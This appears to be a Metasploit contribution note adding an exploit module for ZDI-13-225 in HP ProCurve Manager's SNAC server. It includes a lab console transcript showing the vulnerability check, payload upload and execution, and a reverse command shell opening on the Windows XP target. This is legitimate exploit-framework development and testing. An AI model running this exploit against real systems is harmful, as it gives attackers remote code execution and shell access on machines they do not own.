Add module for ZDI-13-225

Tested with the SNAC server included with HP PCM 4.0 

```
msf > use exploit/windows/http/hp_pcm_snac_update_certificates 
msf exploit(hp_pcm_snac_update_certificates) > set rhost 192.168.172.244
rhost => 192.168.172.244
msf exploit(hp_pcm_snac_update_certificates) > check
[*] The target appears to be vulnerable.
msf exploit(hp_pcm_snac_update_certificates) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.244:443 - Getting a valid session...
[*] 192.168.172.244:443 - Uploading payload...
[*] 192.168.172.244:443 - Executing payload...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.244:2552) at 2013-09-13 17:32:54 -0500

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\Hewlett-Packard\PCM\snac\bin>exit
exit

[*] 192.168.172.244 - Command shell session 1 closed.  Reason: Died from EOFError

msf exploit(hp_pcm_snac_update_certificates) > exit -y

```